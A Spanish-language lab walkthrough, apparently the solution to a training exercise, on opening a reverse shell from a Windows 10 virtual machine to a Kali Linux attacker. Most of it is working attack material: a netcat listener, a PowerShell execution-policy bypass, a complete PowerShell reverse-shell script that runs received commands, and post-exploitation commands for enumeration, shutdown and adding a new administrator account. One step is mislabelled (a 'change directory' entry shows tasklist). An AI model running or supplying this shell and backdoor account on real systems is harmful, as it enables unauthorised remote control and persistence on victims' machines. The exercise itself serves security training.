Secciones
1. Introducción
Este post es la resolución al ejercicio: https://github.com/breatheco-de/reverse-shell-and-remote-hacking.git
Este ejercicio tiene como objetivo utilizar comandos CMD de Windows en el contexto de una conexión remota, simulando un ataque de hacking remoto. Este tutorial te ayudará a establecer una reverse shell desde una máquina Windows 10 hacia una máquina Kali Linux, ejecutando una serie de comandos para obtener información crítica del sistema Windows. Todo esto se hará en un entorno controlado, utilizando máquinas virtuales, y estará enfocado en la fase de post-explotación de un ataque ético.
Requisitos
- Máquina atacante (Kali Linux):
- Software necesario: Netcat (preinstalado en Kali Linux).
- Máquina objetivo (Windows 10):
- Acceso a PowerShell y permisos de ejecución de scripts.
2. Ejecutando una reverse Shell en Windows
Primero establece la conexión con Netcat en la máquina Kali Linux (Atacante). Abre una terminal y escucha en un puerto específico (en este caso, el puerto 4444) utilizando Netcat, con el comando:
nc -lvnp 4444

En la máquina Windows, antes de hacer nada, asegúrate de que se permita ejecutar script en powershell con el siguiente comando:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

Ahora abre PowerShell en la máquina Windows 10 (Objetivo) y ejecuta el siguiente script para establecer la reverse shell:
$client = New-Object System.Net.Sockets.TCPClient("IP-de-Kali", 4444);
$stream = $client.GetStream();
$reader = New-Object System.IO.StreamReader($stream);
$writer = New-Object System.IO.StreamWriter($stream);
$writer.AutoFlush = $true;
while ($true) {
$data = $reader.ReadLine();
if ($data -eq "exit") { break }
try {
$result = Invoke-Expression $data 2>&1 | Out-String;
$writer.WriteLine($result);
} catch {
$writer.WriteLine("Error: $_");
}
$writer.Flush();
}

Con el script ejecutándose en Windows, ya puedes enviar comandos desde Kali a través de la sesión Netcat que has iniciado. Aquí tienes algunos comandos útiles para interactuar con la máquina Windows:

3. Comandos básicos de windows
Listar archivos en el directorio actual:
dir

Obtener información del sistema:
systeminfo

Obtener la configuración de red:
ipconfig

Listar procesos en ejecución:
tasklist

4. Comandos para información detallada
Ver información del equipo:
hostname

Listar los usuarios en el sistema:
net user

Ver las conexiones de red activas:
netstat -an

5. Comandos para navegar por el sistema de archivos
Cambiar de directorio:
Tasklist

Crear un archivo o directorio:
mkdir C:\TestFolder

6. Comandos administrativos (si tienes privilegios)
Apagar o reiniciar el sistema:
shutdown /s /t 0 # Apagar
shutdown /r /t 0 # Reiniciar
Agregar un usuario administrador:
net user nuevo_usuario contraseña /add

net localgroup Administradores nuevo_usuario /add

Para comprobar si se ha añadido el usuario correctamente al grupo Administradores podemos utilizar cualquiera de los siguientes comandos:
net localgroup Administradores
Get-LocalGroupMember -Group "Administradores"

7. Cerrar la sesión
Esto hará que el bucle en PowerShell termine y cierre la conexión.
exit
8. Conclusión
Este documento proporciona una guía práctica para establecer una shell inversa desde un sistema Windows 10 hacia una máquina Kali Linux, enfocándose en la fase de post-explotación durante pruebas de penetración éticas. A través de pasos detallados, se explica cómo utilizar Netcat para escuchar conexiones entrantes y cómo ejecutar un script en PowerShell para redirigir el control de la máquina objetivo al atacante.